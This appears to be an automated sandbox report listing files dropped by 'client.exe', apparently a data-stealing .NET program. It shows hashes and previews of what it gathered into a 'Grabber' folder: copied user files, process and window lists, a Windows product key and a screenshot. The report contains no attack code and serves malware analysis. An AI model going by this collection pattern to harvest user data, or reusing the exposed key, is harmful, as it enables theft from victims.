MMFQXDPYYKOFBEROBQMDZHDZZHOEIOKDOCHQQDQQRHOROOIFAGQEJZJFZIGPJIRWVNQYZAJAHAWIEFFNXLXQWIUWYSGZDFYPCCGWYBBFQQMSMJBRIUPFBWIHWJWVCYOBNNXKIIWTIXOWRVLFBGPGWFQTGPUNWKWUUMQXIKNCLTTGYHBMKXJ

C:\Users\user\AppData\Local\e280eeac0bb94d30d67a9675460adab0\user@610930_en-CH\Grabber\DRIVE-C\Users\user\Downloads\GRXZDKKVDB.xlsx

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.697358951122591
Encrypted:	false
SSDEEP:	24:GllFjmGrUw8wsY1UbsUhBRShwdYjDuvHNeGXNei:WFewtsZZp8DkHzNL
MD5:	244A1B624BD2C9C3A0D660425CB1F3C6
SHA1:	FB6C19991CC49A27F0277F54D88B4522F479BE5F
SHA-256:	E8C5EAACF4D2C4A65761719C311785A7873F0B25D849418ED86BBFE9D7F55C96
SHA-512:	9875E6DE2ACC859CACC2873F537DDE6ED4EC8CA00CBA3D28535E0440D76FFD475B66C52B6217D311D301C4B9A097619CF29A26B2FD54D03CD27A20A17EC9CA31
Malicious:	false
Preview:	GRXZDKKVDBUGJWVAVQNLKHTVWJFMWUAIFGXJYDZTDDYOZYAHDDDHNXHNVSFVZJEMKSJXGDABHWXKQZCQXBMLFZCFZRGZPZWYYNETLMDWOLDLPIFOVKRDMQEWUEHKITHNGNRTRZWQHFMBDECTTQKFDEVNVHBAPCNMCJNWWITPVACWBIUNPCYFZKGJXCMBWDNHDCVDCGEKHYPPPEGKPCPMYZEKRCOGRHDFANVZFDZEKZWOKLRIOUPCTJCKQPECVEEGNTLJWZOKHSKZRNLJEDQLEQNRWIYLSXHSNVGFTCDJOFJSSGANZFCFSTDUPYBCCAPQWVVVHWQMAMBVDQNABQSQOSDYDMOVPXENCAXSTPDCENIQOWPCOQHPSISEOWFKMBLGAZRALPTAYHDZLKJTCHXGTPXNIVUMCOJRZXPUVUFPCWEAEZMMLATLTGHPJIMHWFBUWIATNBBPFGVFXNULJLRYLAGRNCKVAJADSLQGVLGIYOHDIWUERAQSCTFBMXCMLCXSHZGTWPBCVHUYPVAFSBZNBGAGMHGULJYULEEHPGNBGEQRAOPBXXMZIUIPJMFAOVNMZZTOZGOZOJPKWCEFTTAVUBAADATZYJDWSZEZPLDTGYCYWTSDQTIMZHCKMQLZFEYSYUUWFJSYEFNDDKQMZVTBOZLQBDKFHMMKIYQPFKZLTSHIJVNPHPCTWBWPTTKDHDZEMDVWXXBLPWLCSSBMTLIVOVYOKQCJKTYJWGJUBQUGQVBYJQQLLGTHWSPFLDMDWBTOQUISHXBCHIJKAJFIPBNKMWVQGUSJVNKXAXFDNOBYJXMWRDAZWUJSRMMFQXDPYYKOFBEROBQMDZHDZZHOEIOKDOCHQQDQQRHOROOIFAGQEJZJFZIGPJIRWVNQYZAJAHAWIEFFNXLXQWIUWYSGZDFYPCCGWYBBFQQMSMJBRIUPFBWIHWJWVCYOBNNXKIIWTIXOWRVLFBGPGWFQTGPUNWKWUUMQXIKNCLTTGYHBMKXJ

C:\Users\user\AppData\Local\e280eeac0bb94d30d67a9675460adab0\user@610930_en-CH\Grabber\DRIVE-C\Users\user\Downloads\NYMMPCEIMA.png

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.6957997909429325
Encrypted:	false
SSDEEP:	24:kKnyV7BxweFQl79j+hRxUY//oWt/yeHEMcXJn25feaqrZZqW+LRJvy:kKnY7wGQlSxH/9kM0Jn25grZgRJa
MD5:	4F49714E789620AEDB7B9565DC949466
SHA1:	5917AC09E3D5074BFF8E1289865CAFF6403D1E82
SHA-256:	A9D5D3D8BE1D9E0187DA4AF85AFF3E2D1D6DE977D13EDA76900C96D98A8F073B
SHA-512:	61F147FA2B300AC2E3A42445F1283A47C805B756F36730CDCD4DB5A711BE43EFA471C7ECFB865908791852D1AAF365284BD4DE01F0EA0BF9DCD416A853C804E9
Malicious:	false
Preview:	NYMMPCEIMABCZIWJTJBTGSCCAGUWVTYLYWSVBSDZXQVJYUDCVLRURABBOBVCVDMKRKSRCSPXNAWPZJIOBULMRNUUOMOQGMWJLMZDBRBKAATADQPXHJFNCLPVAYDJHNDQMYWKBXYCBZJQANHQXCJPZQWORFXISYXSVTGTQJXNOUHRMKMJWJYCVNYAJFLKQVPGEYIUPPSZIHLNRGNCVNQBEZHDSJLAAKTOQOPFKISQUVSYIJUTXMPMVSFBVQNNFUXQRBBZWPVQFKOIAVQQMWQKLBSRPGKOQWZJAMBIDYJLYFILNAEEJCLRGBXDTSTBTNJDUXNFJBEZUDHSQUEENVIJUBNKGOLASBWAZBYYZZCOGWIJLRICWMFOAHSZVHCPRGDQXQUHZNZAIBOSXNAEYXAGWDBIHQGHOMKGZVYJDFBRWFKGJWGGPPTKNYWOHJZEIWRXWBERKQREQFMJHAKYHJCBTJJONCVMKTRJZVEWZOAKRUZLPQOXEQLKYATRQESEWRXETALDGKSHWFGQVXVYWPZEUDKTVGFGTXHQNKYUTVLNVAJFDYFPLRACHLYNSSVZZIAKKEEENZFLNPGNCVKMHGOYMQEBOXNMEXNXHUPMZAMZZQVDPFGLUSJHKGQWGKDPXMSIYPGNIXUXSJQFAXJLLSOUEANCWYAHDTOQTEKVGNOWSZINVNYZYIYNTVHHTDVGBTBPYPINRBPJYKHMRFCGSMCNFESVFMQIFPOJDAJGZEYTMLYQIIYRBVNEZSIWWOKGVIVGLXAQUNYDTWHGEWOLDMZRPSOAJKFXVJJTTIAJVLZGIFIWTHVZZGQOVGNSYXTJVFSXNDQLHICPBSAZIKIPLGSRTCKFEGRKNLTONCJFACYIGQPYUHVPNPUUGOOGHBAMCKOGYKVNNBSVPYVHZVJCMTDSHLBWEDMSWSFZAIRFDEYBDVHTWHABAXCAQCTXQRIUHVQFAEPMNYIWIBWVEEZTZGQTPDYRFAGKUGAEBSQFYYQG

C:\Users\user\AppData\Local\e280eeac0bb94d30d67a9675460adab0\user@610930_en-CH\Grabber\DRIVE-C\Users\user\Downloads\PALRGUCVEH.jpg

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696508269038202
Encrypted:	false
SSDEEP:	24:RSjVGe9uHEleifrd16Wa05tSl2jFQzpqPMXexMApqIjsp:2Ge9MQ/d16Wjtc2j64Phxjpq82
MD5:	0E9E92228B27AD7E7B4449467A529B0C
SHA1:	209F92CDFC879EE2B98DEF315CCE166AFEC00331
SHA-256:	284937D0EBFEDD95B2347297D957320D8D5CA5FC48218296767069CABA6B14A6
SHA-512:	CECA5F634268817B4A076414FFAB7D81F93EEC7E7D08B8691CCE0B2BCAF8FC694365455886E36983B4D8D758BC65BC1868BE8DB51AD41E082473726BB1FFD7B8
Malicious:	false
Preview:	PALRGUCVEHIRKBYGKJJWKNMNYKFUTLHCEDOTKTWJCZHNZMOUNMNREQTGFDNZTATQQPDFONRIRAZYJEPXQVIVWNBDQIMKULZMUINYTVUPNMQBQQYLGCAJYFEIWZTWGYTHEJPFBRNGCTANCYOISUQMRINVDUEIROITGPJZCCOVCZIZBHLYBDARSNRLEOQQDWOSMHXNRNBXNWMRVAQZUASARYHEITVTVSLHRGBYURPTEUNAUCYMZTXOZXKDXUEUUVTNGWGSBRAWIJZDVZDLMZBKEVESROLUEDPITQGUXFSRFAVNSESAFZLNXMXUYRFUEUKCMNFITMUQEWTCKEGDPOXHJSXBDLFIOLLHDYIVOQVEYJEZMDIOFXZFCPXJEQLPCSHKUGRQKXAUMKTHUMHWFQZRGBRZHGHYRXRODJXEBANQHOOVFBZXKJHDCAAKHZGSWGKGEDWOOCFCEYHPAQBYBKRXOTJWSCPMRDXNRYAQFQHSHOFCHWJDKTFHACROGLPZFWDCIBJSUTMTRHJKEGAHSBAQLDTWPTXBLVYYBNJBKDUNGOUDVWZOBKOJKSMZERYOYBNMDSYUPHFDPUXOMKCYNSEBJHJVXSWTIMBDLPWYMYMQKYICPQEWMYDUMYJRSVQHDEELUFOEQYUIZBTNUNJNZQTDTIJKNOJNFJDDGEYVGDXTQINCQDGJRRPOBRUHQLMKFJSSNNCQMDHWQYMHWIBVNPHRQCBTMYBSOJYXCUAYTWUDETCJTTEQSPXKTRSQBDJYENXLXJTQIYOZHEFAQOFBXKATTASAWEYGDPTTLZDAFVKRYLRNFSWZYBGUMRHHMNPVCVECBEVWEXNMSCXSGJRAQKAYEIULWHXXFKTJWPDMYUAOSFBKCTNCTQQXTLXIIJKYOPYBMSFGYLZDGOXTVIHYLUMJCRDRQXFLBDAUXBTNAPMACHVQILKZSQLNPPJVGXAXUMTOUMJJJYJSPJALITYYHOOMVVOQNOSSPBLMRBWWPYXB

C:\Users\user\AppData\Local\e280eeac0bb94d30d67a9675460adab0\user@610930_en-CH\Grabber\DRIVE-C\Users\user\Downloads\PALRGUCVEH.xlsx

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696508269038202
Encrypted:	false
SSDEEP:	24:RSjVGe9uHEleifrd16Wa05tSl2jFQzpqPMXexMApqIjsp:2Ge9MQ/d16Wjtc2j64Phxjpq82
MD5:	0E9E92228B27AD7E7B4449467A529B0C
SHA1:	209F92CDFC879EE2B98DEF315CCE166AFEC00331
SHA-256:	284937D0EBFEDD95B2347297D957320D8D5CA5FC48218296767069CABA6B14A6
SHA-512:	CECA5F634268817B4A076414FFAB7D81F93EEC7E7D08B8691CCE0B2BCAF8FC694365455886E36983B4D8D758BC65BC1868BE8DB51AD41E082473726BB1FFD7B8
Malicious:	false
Preview:	PALRGUCVEHIRKBYGKJJWKNMNYKFUTLHCEDOTKTWJCZHNZMOUNMNREQTGFDNZTATQQPDFONRIRAZYJEPXQVIVWNBDQIMKULZMUINYTVUPNMQBQQYLGCAJYFEIWZTWGYTHEJPFBRNGCTANCYOISUQMRINVDUEIROITGPJZCCOVCZIZBHLYBDARSNRLEOQQDWOSMHXNRNBXNWMRVAQZUASARYHEITVTVSLHRGBYURPTEUNAUCYMZTXOZXKDXUEUUVTNGWGSBRAWIJZDVZDLMZBKEVESROLUEDPITQGUXFSRFAVNSESAFZLNXMXUYRFUEUKCMNFITMUQEWTCKEGDPOXHJSXBDLFIOLLHDYIVOQVEYJEZMDIOFXZFCPXJEQLPCSHKUGRQKXAUMKTHUMHWFQZRGBRZHGHYRXRODJXEBANQHOOVFBZXKJHDCAAKHZGSWGKGEDWOOCFCEYHPAQBYBKRXOTJWSCPMRDXNRYAQFQHSHOFCHWJDKTFHACROGLPZFWDCIBJSUTMTRHJKEGAHSBAQLDTWPTXBLVYYBNJBKDUNGOUDVWZOBKOJKSMZERYOYBNMDSYUPHFDPUXOMKCYNSEBJHJVXSWTIMBDLPWYMYMQKYICPQEWMYDUMYJRSVQHDEELUFOEQYUIZBTNUNJNZQTDTIJKNOJNFJDDGEYVGDXTQINCQDGJRRPOBRUHQLMKFJSSNNCQMDHWQYMHWIBVNPHRQCBTMYBSOJYXCUAYTWUDETCJTTEQSPXKTRSQBDJYENXLXJTQIYOZHEFAQOFBXKATTASAWEYGDPTTLZDAFVKRYLRNFSWZYBGUMRHHMNPVCVECBEVWEXNMSCXSGJRAQKAYEIULWHXXFKTJWPDMYUAOSFBKCTNCTQQXTLXIIJKYOPYBMSFGYLZDGOXTVIHYLUMJCRDRQXFLBDAUXBTNAPMACHVQILKZSQLNPPJVGXAXUMTOUMJJJYJSPJALITYYHOOMVVOQNOSSPBLMRBWWPYXB

C:\Users\user\AppData\Local\e280eeac0bb94d30d67a9675460adab0\user@610930_en-CH\Grabber\DRIVE-C\Users\user\Downloads\TQDFJHPUIU.jpg

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.697771666106845
Encrypted:	false
SSDEEP:	24:TwdgExX6lswcsA1Wo1+js3mQmFlw2UJh6QHssg9RGVQ8:T6KiV+KmQmFwhtMp9RGVH
MD5:	D910958AF930D9DCA27D8F529EC053D0
SHA1:	321478679C760C347743149A323469AD4BFEA87D
SHA-256:	C70010ABE33AC34A7DB2F84B5ECDEA5EF95D482B69138707C126D2C1C1B67F37
SHA-512:	0BCADFF480F8F0C7E5DDC316F678564A75785640F151ACA644CABE64AD10D0D4AD6156385A4B04DF9025C6ADCDB3787123EC21F57610F1A7FBC7727A12EB8A00
Malicious:	false
Preview:	TQDFJHPUIUELSDZVLDSOEPJOAGZMFPGEGXRLLWCATKTXUFCCYBMLLTOAWXCBRXEASQCNMLCVLTUZVHIGECOSKDAKWRYISSWUBTJPNWVMOQIBOVCDGZBZLOBWHRRJWCIVVOOXQYXMXXZMUJFNAGIRMQEQNBGKVATBJCBUBSWVZNUBPOSGZZKDLPMWNJJYMXSJFTKODUAYUUUFMAXNGYJPXGZQGSVLQUGDVVRJNEOKUCNTIRLLCNKTYMTQNZJJKSKBSONPJUKRASZVNLIXIMVFHLBZMMQBRQMADRKDIUMEEGDUNISFUQIECDZCRHSRRYZPGKJVXJOWYFDCIFWRPIQIGFARPTXNAEOTZASGGBUAORTYTQKACAIMSIJTKMTNMLSJSOHBNKDCPBUROQGRJNZUWHAQAOIYBGRJZNQFPXFARCDCRYDEHQKZSBWQRIZUALGAGONASBDAUUWWGWMIACXEKQGBFHNSVOMSMNKHUCCICMZPSQBAOJSAJLHYYTHCBOJYRGLPACKOYWSINXQWZTVPZZGDMLUEMLVMWGYQVWJXSKGMTZXFWDQTDCMARKFNKCUZOJJCUBDFZIQECIQSBZWGGGYXJKXBOJMSDVJPFGXNBLAVKQLERCTILRLNODWOHUHAHUKXKKYDMHZJUTFVHEQDYGBYCPPMSUVFTBPYSDWSPRWOOVOMFFXVHKXCQNSANIDGQLMMNSDROMFQDXTGDYVZZKZMXJGFRGTCUUWAEMNPZJJQANNDMULSUEIOQHQUZBJGBBFBYEITVHYSXFUDFMPLOAIHQGZLPYMHUKXYLKLKILTNDAXWVKITWAKIJERKCLMHSEKWBLLPKKZZWHXZMSHTTCPRPQUXXDNKWNYSNTNWEZAVSUMPTOQBTAMVGRIMPCIHLVZDKXOJHRUGCUCYCCGSKYZFHLNROAETESAVZHHZSEDGXUMPIWCICTRSGZRIRINHSZURTKUBQMVZLOYEFVZZTFCGUJKCBMMLKUJTDVWC

C:\Users\user\AppData\Local\e280eeac0bb94d30d67a9675460adab0\user@610930_en-CH\Grabber\DRIVE-C\Users\user\Downloads\desktop.ini

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	282
Entropy (8bit):	3.5191090305155277
Encrypted:	false
SSDEEP:	6:QyqRsioTA5wmHOlRaQmZWGokJqAMhAlt4DAlLwkAl2FlRaQmZWGokJISlVl9:QZsiL5wmHOlDmo0qmt4clLwr2FlDmo0d
MD5:	3A37312509712D4E12D27240137FF377
SHA1:	30CED927E23B584725CF16351394175A6D2A9577
SHA-256:	B029393EA7B7CF644FB1C9F984F57C1980077562EE2E15D0FFD049C4C48098D3
SHA-512:	DBB9ABE70F8A781D141A71651A62A3A743C71A75A8305E9D23AF92F7307FB639DC4A85499115885E2A781B040CBB7613F582544C2D6DE521E588531E9C294B05
Malicious:	false
Preview:	......[...S.h.e.l.l.C.l.a.s.s.I.n.f.o.].....L.o.c.a.l.i.z.e.d.R.e.s.o.u.r.c.e.N.a.m.e.=.@.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.9.8.....I.c.o.n.R.e.s.o.u.r.c.e.=.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.i.m.a.g.e.r.e.s...d.l.l.,.-.1.8.4.....

C:\Users\user\AppData\Local\e280eeac0bb94d30d67a9675460adab0\user@610930_en-CH\Grabber\DRIVE-C\Users\user\Pictures\Camera Roll\desktop.ini

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	190
Entropy (8bit):	3.5497401529130053
Encrypted:	false
SSDEEP:	3:QJ8ql62fEilSl7lA5wXdUSlAOlRXKQlcl5lWGlyHk15ltB+SliLlyQOnJpJSl6nM:QyqRsioTA5wmHOlRaQmZWGokJD+SkLOy
MD5:	D48FCE44E0F298E5DB52FD5894502727
SHA1:	FCE1E65756138A3CA4EAAF8F7642867205B44897
SHA-256:	231A08CABA1F9BA9F14BD3E46834288F3C351079FCEDDA15E391B724AC0C7EA8
SHA-512:	A1C0378DB4E6DAC9A8638586F6797BAD877769D76334B976779CD90324029D755FB466260EF27BD1E7F9FDF97696CD8CD1318377970A1B5BF340EFB12A4FEB4A
Malicious:	false
Preview:	......[...S.h.e.l.l.C.l.a.s.s.I.n.f.o.].....L.o.c.a.l.i.z.e.d.R.e.s.o.u.r.c.e.N.a.m.e.=.@.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.w.i.n.d.o.w.s...s.t.o.r.a.g.e...d.l.l.,.-.2.1.8.2.4.....

C:\Users\user\AppData\Local\e280eeac0bb94d30d67a9675460adab0\user@610930_en-CH\Grabber\DRIVE-C\Users\user\Pictures\Saved Pictures\desktop.ini

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	190
Entropy (8bit):	3.5497401529130053
Encrypted:	false
SSDEEP:	3:QJ8ql62fEilSl7lA5wXdUSlAOlRXKQlcl5lWGlyHk15ltB+SliLlyQOnJpJSl3sY:QyqRsioTA5wmHOlRaQmZWGokJD+SkLOO
MD5:	87A524A2F34307C674DBA10708585A5E
SHA1:	E0508C3F1496073B9F6F9ECB2FB01CB91F9E8201
SHA-256:	D01A7EF6233EF4AB3EA7210C0F2837931D334A20AE4D2A05ED03291E59E576C9
SHA-512:	7CFA6D47190075E1209FB081E36ED7E50E735C9682BFB482DBF5A36746ABDAD0DCCFDB8803EF5042E155E8C1F326770F3C8F7AA32CE66CF3B47CD13781884C38
Malicious:	false
Preview:	......[...S.h.e.l.l.C.l.a.s.s.I.n.f.o.].....L.o.c.a.l.i.z.e.d.R.e.s.o.u.r.c.e.N.a.m.e.=.@.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.w.i.n.d.o.w.s...s.t.o.r.a.g.e...d.l.l.,.-.3.4.5.8.3.....

C:\Users\user\AppData\Local\e280eeac0bb94d30d67a9675460adab0\user@610930_en-CH\Grabber\DRIVE-C\Users\user\Pictures\desktop.ini

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	504
Entropy (8bit):	3.514398793376306
Encrypted:	false
SSDEEP:	12:QZsiL5wmHOlDmo0qmalDmo0qmN4clLwr2FlDmo0IWFSklrgl2FlDmo0qjKA1:QCGwv4o0u4o0RhlLwiF4o0HUsF4o01A1
MD5:	29EAE335B77F438E05594D86A6CA22FF
SHA1:	D62CCC830C249DE6B6532381B4C16A5F17F95D89
SHA-256:	88856962CEF670C087EDA4E07D8F78465BEEABB6143B96BD90F884A80AF925B4
SHA-512:	5D2D05403B39675B9A751C8EED4F86BE58CB12431AFEC56946581CB116B9AE1014AB9334082740BE5B4DE4A25E190FE76DE071EF1B9074186781477919EB3C17
Malicious:	false
Preview:	......[...S.h.e.l.l.C.l.a.s.s.I.n.f.o.].....L.o.c.a.l.i.z.e.d.R.e.s.o.u.r.c.e.N.a.m.e.=.@.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.7.9.....I.n.f.o.T.i.p.=.@.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.h.e.l.l.3.2...d.l.l.,.-.1.2.6.8.8.....I.c.o.n.R.e.s.o.u.r.c.e.=.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.i.m.a.g.e.r.e.s...d.l.l.,.-.1.1.3.....I.c.o.n.F.i.l.e.=.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.h.e.l.l.3.2...d.l.l.....I.c.o.n.I.n.d.e.x.=.-.2.3.6.....

C:\Users\user\AppData\Local\e280eeac0bb94d30d67a9675460adab0\user@610930_en-CH\System\Process.txt

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	18235
Entropy (8bit):	5.773071063039053
Encrypted:	false
SSDEEP:	192:pMYTZXu7wRa12i+tfeD3tg4ik+vals3h7NteT2sWHYg71FSbEAVkR5fLzi94LxYG:tT2gSbEBMCT11trdXf
MD5:	FC92B0FE2182DA8392F83AC9B27664CA
SHA1:	DF2AAD2C6720B97EB38D67B13FDC8355FF2DFC68
SHA-256:	C9DB78623D410A836A7C51B006EAB30459659AF8F5BDB659C6148E5D19C579CD
SHA-512:	1236E4CF1A8F845435CB3BE4C2DC535219E4336424997D13B5088734632A574D05E1EC4FBCCBFD6C426C271124DC1669813D620841868137F4F02FCDA31FF963
Malicious:	false
Preview:	NAME: vRQzMeKDOAJbjzQNGqV..PID: 6464..EXE: C:\Program Files (x86)\lmMaaliykFLpWoktYVOhGoMZSLoTiHWbjNmMKLNhlZGEDOZvYPnYazOzUzRSexOQEljhab\vRQzMeKDOAJbjzQNGqV.exe..NAME: svchost..PID: 2152..EXE: C:\Windows\system32\svchost.exe..NAME: vRQzMeKDOAJbjzQNGqV..PID: 3012..EXE: C:\Program Files (x86)\lmMaaliykFLpWoktYVOhGoMZSLoTiHWbjNmMKLNhlZGEDOZvYPnYazOzUzRSexOQEljhab\vRQzMeKDOAJbjzQNGqV.exe..NAME: RuntimeBroker..PID: 4732..EXE: C:\Windows\System32\RuntimeBroker.exe..NAME: csrss..PID: 420..EXE: ..NAME: vRQzMeKDOAJbjzQNGqV..PID: 5588..EXE: C:\Program Files (x86)\lmMaaliykFLpWoktYVOhGoMZSLoTiHWbjNmMKLNhlZGEDOZvYPnYazOzUzRSexOQEljhab\vRQzMeKDOAJbjzQNGqV.exe..NAME: vRQzMeKDOAJbjzQNGqV..PID: 2568..EXE: C:\Program Files (x86)\lmMaaliykFLpWoktYVOhGoMZSLoTiHWbjNmMKLNhlZGEDOZvYPnYazOzUzRSexOQEljhab\vRQzMeKDOAJbjzQNGqV.exe..NAME: vRQzMeKDOAJbjzQNGqV..PID: 4480..EXE: C:\Program Files (x86)\lmMaaliykFLpWoktYVOhGoMZSLoTiHWbjNmMKLNhlZGEDOZvYPnYazOzUzRSexOQEljhab\vRQzMeKDOAJbjzQNGqV.exe..NAME: svchost..PID:

C:\Users\user\AppData\Local\e280eeac0bb94d30d67a9675460adab0\user@610930_en-CH\System\ProductKey.txt

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	3.909368063943885
Encrypted:	false
SSDEEP:	3:jyAIL0tzciv6:ugtwM6
MD5:	1E3232EB6EE110EF6D9129E221DFD9D7
SHA1:	B82F6369545E90CC1FF3EEAD03652EEA9FA3AD6C
SHA-256:	32DBBFA892FF9DAFD63BFA6E961DD89216A9C76A3E772431F8D3D91F1FDDCC4F
SHA-512:	129FAF00DA5CE2A6D4949DD606FBB935390E9C564C8AD5ED28A13C56CD2A2753BB14E236188CB49464E6F1865E26CDE7F12157683835431C44995AFE314E73F8
Malicious:	false
Preview:	97W7V-N4TDP-HVCHR-WMWDF-DJ69J

C:\Users\user\AppData\Local\e280eeac0bb94d30d67a9675460adab0\user@610930_en-CH\System\ScanningNetworks.txt

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	84
Entropy (8bit):	4.6630509827051725
Encrypted:	false
SSDEEP:	3:PHsEiVboFkaQXMtS1ME/M2en:PsEwYVQXOS1TUn
MD5:	58CD2334CFC77DB470202487D5034610
SHA1:	61FA242465F53C9E64B3752FE76B2ADCCEB1F237
SHA-256:	59B3120C5CE1A7D1819510272A927E1C8F1C95385213FCCBCDD429FF3492040D
SHA-512:	C8F52D85EC99177C722527C306A64BA61ADC3AD3A5FEC6D87749FBAD12DA424BA6B34880AB9DA627FB183412875F241E1C1864D723E62130281E44C14AD1481E
Malicious:	false
Preview:	Active code page: 65001..The Wireless AutoConfig Service (wlansvc) is not running...

C:\Users\user\AppData\Local\e280eeac0bb94d30d67a9675460adab0\user@610930_en-CH\System\Windows.txt

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	14311
Entropy (8bit):	5.684188529188381
Encrypted:	false
SSDEEP:	192:t6Qf2IYxzNXK21HG3OhJY/Ly3tzHQ77SkIH2tz/N8ZVblbgjnI35Q0iizbMFxus/:D
MD5:	7E42648D03E179935281EA555BC878A1
SHA1:	D192D82490CE1A8BAEA6B9D9976019C44E4AE162
SHA-256:	868696F52F971A737E08DE1B37E6908D87C43985BFE56F80A0730B7CFF185DEA
SHA-512:	34E50A4C3EB38C4BDC23E86BBE489E8D014743025E27A87F8D84FAF7BB684E27B4CCEF849E7ADA15F42A09AB64571F62C0E0554FA9FD38A168FD99E69870E15B
Malicious:	false
Preview:	NAME: vRQzMeKDOAJbjzQNGqV..TITLE: New Tab - Google Chrome..PID: 6464..EXE: C:\Program Files (x86)\lmMaaliykFLpWoktYVOhGoMZSLoTiHWbjNmMKLNhlZGEDOZvYPnYazOzUzRSexOQEljhab\vRQzMeKDOAJbjzQNGqV.exe..NAME: vRQzMeKDOAJbjzQNGqV..TITLE: New Tab - Google Chrome..PID: 3012..EXE: C:\Program Files (x86)\lmMaaliykFLpWoktYVOhGoMZSLoTiHWbjNmMKLNhlZGEDOZvYPnYazOzUzRSexOQEljhab\vRQzMeKDOAJbjzQNGqV.exe..NAME: vRQzMeKDOAJbjzQNGqV..TITLE: New Tab - Google Chrome..PID: 5588..EXE: C:\Program Files (x86)\lmMaaliykFLpWoktYVOhGoMZSLoTiHWbjNmMKLNhlZGEDOZvYPnYazOzUzRSexOQEljhab\vRQzMeKDOAJbjzQNGqV.exe..NAME: vRQzMeKDOAJbjzQNGqV..TITLE: New Tab - Google Chrome..PID: 2568..EXE: C:\Program Files (x86)\lmMaaliykFLpWoktYVOhGoMZSLoTiHWbjNmMKLNhlZGEDOZvYPnYazOzUzRSexOQEljhab\vRQzMeKDOAJbjzQNGqV.exe..NAME: vRQzMeKDOAJbjzQNGqV..TITLE: New Tab - Google Chrome..PID: 4480..EXE: C:\Program Files (x86)\lmMaaliykFLpWoktYVOhGoMZSLoTiHWbjNmMKLNhlZGEDOZvYPnYazOzUzRSexOQEljhab\vRQzMeKDOAJbjzQNGqV.exe..NAME: vRQzMeKDOAJbjzQNGqV..TIT

C:\Users\user\AppData\Local\e280eeac0bb94d30d67a9675460adab0\user@610930_en-CH\System\WorldWind.jpg

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	85514
Entropy (8bit):	7.848825199778679
Encrypted:	false
SSDEEP:	1536:CSTexaYplGx5EooYQD9pU/BKmzeneU63dgnmylFmIr/MuOP40EgMGnrg9L+:lT4/GzEoox9paw8eeuDme/MuydEg1r2q
MD5:	3F11E3EC6EC096B38720A7214CF14D5C
SHA1:	04C56A779465245AF5A4EFF4CF4B0CA72DCCD68A
SHA-256:	729ABC087763E6BB3B3BB35547B2C377A5570AC11BCBA330488611A449FC73DE
SHA-512:	28529905E9FD304E1A48ACB956F41737B87372E140DC5F49AA49BB8DCAE7E38901AD3243A296FC29C380B5DA1E40CEA25275E5F9FC5008E41D92BE5C64945A34
Malicious:	false
Preview:	......JFIF.....`.`.....C................................... $.' ",#..(7),01444.'9=82<.342...C...........2!.!22222222222222222222222222222222222222222222222222..........."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?...(..?3...m..,.X.c.#....O..i.....w...._.#.z..p.....MR...%.f..r.....Uf.....?.2......S.]9o..s......T..W6.y.:.....CPWJi......%-....Z(.(..<.t..A...#'..N>.._.u.......^y.[......1..].+..B....%?........r.....{f`.'(Xw...&e.......Q...8X.V..._.^.(..(...&(....~....[.....).....+.F"8x{I.t.p....pj.g.Ez..+..........O.Wz.......\..4;?...O.........QA..Z.DqCr.Y...L....V..\A.

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	5.896811989571859
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.80% Win32 Executable (generic) a (10002005/4) 49.75% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Windows Screen Saver (13104/52) 0.07% Generic Win/DOS Executable (2004/3) 0.01%
File name:	client.exe
File size:	179'200 bytes
